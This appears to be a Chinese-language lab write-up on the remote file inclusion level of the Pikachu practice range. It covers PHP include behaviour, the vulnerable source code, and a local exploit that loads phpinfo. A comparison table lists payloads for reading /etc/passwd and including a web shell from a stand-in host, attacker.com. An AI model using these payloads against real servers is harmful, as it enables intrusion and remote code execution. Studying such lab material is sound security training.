目錄
一、文件包含功能
二、文件包含Vulnerability
二、遠程文件包含
三、環境配置
1、進入靶場
2、搭建環境?
(1)定位php.ini文件
(2)修改php.ini文件
四、源碼分析
五、滲透實戰
1、選擇科比
2、執行phpinfo
(1)獲取腳本地址
(2)遠程文件包含滲透
本系列為《pikachu靶場通關筆記》滲透實戰,本文通過對文件包含關卡(File Inclusion)源碼的代碼審計找到產生缺陷的真實原因,講解遠程文件包含關卡的原理并進行滲透實踐。
一、文件包含功能
文件包含是Web開發中常用的功能,允許程序動態加載外部文件(如HTML模板、配置文件或代碼庫),以提高代碼復用性。在PHP中,主要通過以下函數實現:
-
include
:包含文件,失敗時警告但繼續執行。 -
require
:包含文件,失敗時終止程序。 -
include_once
/require_once
:避免重復包含。
二、文件包含Vulnerability
文件包含Vulnerability(File Inclusion Vulnerability)是指Web應用程序在包含文件(如PHP的include
、require
等函數)時,未對用戶輸入進行嚴格過濾,導致攻擊者可以包含惡意文件(如服務器上的敏感文件或遠程腳本),從而造成任意代碼執行(RCE)或敏感信息泄露。
開發者常常會使用文件包含函數,像 PHP 的include()
、require()
、include_once()
、require_once()
等,把其他文件內容包含到當前頁面中。若程序沒有對用戶輸入的文件路徑進行嚴格過濾與驗證,攻擊者就能夠通過構造特殊的輸入,讓應用程序包含惡意文件。
二、遠程文件包含
遠程文件包含(Remote File Inclusion,RFI)通常出現在服務器端腳本語言(如PHP、Java等)中。當應用程序通過用戶輸入動態地包含遠程服務器上的文件時,如果沒有對輸入進行嚴格過濾和驗證,攻擊者可以利用遠程文件包含缺陷將惡意文件放置在遠程服務器上,并通過構造包含惡意文件URL的請求,讓目標應用程序加載并執行該文件。
文件包含分為本地文件包含和遠程文件包含,兩者區別如下所示。
對比項 | 本地文件包含(LFI) | 遠程文件包含(RFI) |
---|---|---|
定義 | 包含服務器本地的任意文件 | 包含遠程服務器上的惡意腳本文件 |
攻擊目標 | 讀取敏感文件(如/etc/passwd 、配置文件) | 直接執行遠程惡意代碼(如WebShell) |
利用方式 | 通過../ 等遍歷目錄 | 通過URL包含http:// 或ftp:// 遠程資源 |
PHP配置要求 | 無需特殊配置 | 需allow_url_include=On (默認關閉) |
危害等級 | 中高危(信息泄露) | 嚴重(直接RCE,服務器淪陷) |
典型攻擊載荷 | ?file=../../etc/passwd | ?file=http://attacker.com/shell.php |
依賴條件 | 文件路徑可控 | 1. 路徑可控 2. 服務器能訪問外網 |
常見防御措施 | 1. 白名單限制文件路徑 2. 禁用目錄遍歷符號 | 1. 關閉allow_url_include 2. 過濾 http:// 等協議 |
滲透測試用途 | 1. 竊取配置文件 2. 結合日志注入執行代碼 | 1. 直接獲取服務器權限 2. 植入后門 |
偽協議利用 | 支持(如php://filter 讀取文件內容) | 支持(如php://input 直接執行POST代碼) |
三、環境配置
1、進入靶場
進入pikachu靶場的遠程文件包含關卡,完整URL地址如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php
進入到遠程包含關卡頁面后發現提示“warning:你的allow_url_include沒有打開,請在php.ini中打開了再測試該關卡,記得修改后,重啟中間件服務!”,需要配置環境滿足條件,具體如下所示。?
2、搭建環境?
將php.ini文件里的allow_url_include改成On,遠程文件包含的前提是需要滿足如下條件。
allow_url_fopen=On (默認打開)
allow_url_include=On(默認關閉,所以要手動改為On)
(1)定位php.ini文件
方法1:①打開小皮工具,依次點擊設置—配置文件—php.ini—php版本號
方法2:②找到小皮工具文件夾—Extensions—php—php版本號—php.ini
(2)修改php.ini文件
?按照下圖查找并修改php.ini文件,開啟allow_url_include和allow_url_fopen,切記修改之后重啟小皮apache,否則不生效。
四、源碼分析
打開piakchu靶場的源碼目錄,找到file_remote.php,具體如下所示。
源碼的主要功能是動態包含服務器本地或遠程文件,經過詳細注釋的源碼如下所示。
// 遠程文件包含風險的演示代碼
$html = ''; // 初始化HTML輸出變量// 檢查是否提交了表單且filename參數不為空
if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename']; // 直接獲取用戶輸入的filename參數include "$filename"; // 關鍵點:直接包含用戶可控的變量,無任何過濾!
}
?不過這段代碼有文件包含安全風險,如果allow_url_include=On配置打開還有遠程包含
安全風險,原因如下所示。
原因 | 具體問題 |
---|---|
未過濾用戶輸入 | 直接使用$_GET['filename'] ,攻擊者可注入惡意路徑。 |
危險函數調用 | include 直接執行文件內容,若包含PHP文件會解析代碼。 |
配置依賴 | 需php.ini 中開啟allow_url_include=On (默認關閉),否則僅能本地文件包含(LFI)。 |
五、滲透實戰
1、選擇科比
重啟Apache后重試pikachu靶場遠程文件上傳,選擇科比,留意當前URL地址,具體如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php#
此時進入到遠程文件包含頁面,已無3.1部分的警告信息,具體如下所示。?
選擇第一個運動員科比,留意URL地址,此時filename被賦值為filename=include%2Ffile1.php,具體如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4
2、執行phpinfo
(1)獲取腳本地址
在pikachu靶場的test目錄中,存在phpinfo.txt文件,其完整的URL地址如下所示。
http://127.0.0.1/pikachu/test/phpinfo.txt
(2)遠程文件包含滲透
?將5.1部分的filename=include/file1.php換成phpinfo的鏈接地址,具體如下所示。
filename=http://127.0.0.1/pikachu/test/phpinfo.txt
這樣遠程文件包含滲透的完整URL地址如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu/test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4
如下所示成功獲取到服務器的php信息,滲透成功。?